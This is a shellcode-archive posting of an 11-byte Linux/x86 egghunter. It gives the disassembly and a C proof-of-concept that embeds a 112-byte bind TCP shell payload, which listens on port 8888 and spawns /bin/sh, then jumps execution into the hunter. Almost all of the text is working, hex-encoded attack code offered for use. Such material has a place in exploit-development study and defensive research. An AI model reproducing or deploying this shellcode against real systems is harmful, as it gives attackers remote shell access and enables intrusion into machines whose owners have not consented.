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Linux/x86 Egghunter Shellcode

Linux/x86 Egghunter Shellcode
Posted Mar 23, 2018
Authored by Anurag Srivastava

11 bytes small Linux/x86 egghunter shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | 7f349789d9f07a6fc8d0a749471ad2add38bcf72e27d6603d846f706b5f7d4a9

Linux/x86 Egghunter Shellcode

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/*
# Title: Linux/x86 - EggHunter Shellcode (11 Bytes)
# Author: Anurag Srivastava
# Tested on: i686 GNU/Linux
# Shellcode Length: 11
#Description: Smallest Null-Free Egg Hunter Shellcode - 11 Bytes
Details:
1. Works with an executable EGG
2. Make sure you clear EDX, EAX registers in the shellcode before any other operations
#Reference : Nipun Jaswal (@nipunjaswal)
egg: file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060: 40 inc eax
8048061: 81 38 90 47 90 4f cmp DWORD PTR [eax],0x4f904790
8048067: 75 f7 jne 8048060 <_start>
8048069: ff e0 jmp eax
===============POC by Anurag Srivastava=========================
*/
#include <stdio.h>
#include <string.h>
#define EXECEGG "\x90\x47\x90\x4f" //Executable EGG

unsigned char egg_hunter[] = \
"\x40\x81\x38\x90\x47\x90\x4f\x75\xf7\xff\xe0";

unsigned char egg[] = \
EXECEGG
// Bind TCP Shell 112 Bytes Port 8888
"\x31\xdb\x31\xc0\xb0\x66\xfe\xc3\x56\x6a\x01\x6a"
"\x02\x89\xe1\xcd\x80\x97\x56\x66\x68\x22\xb8\x66"
"\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xf7\xe3"
"\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x56\x57\x31\xdb"
"\xf7\xe3\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x31\xdb"
"\xf7\xe3\x56\x56\x57\xb0\x66\xb3\x05\x89\xe1\xcd"
"\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79"
"\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
void main()
{
printf("Length of Egg Hunter Shellcode: %d\n", strlen(egg_hunter));
printf("Length of the Actual Shellcode: %d\n", strlen(egg));
int (*ret)() = (int(*)())egg_hunter;
ret();
}

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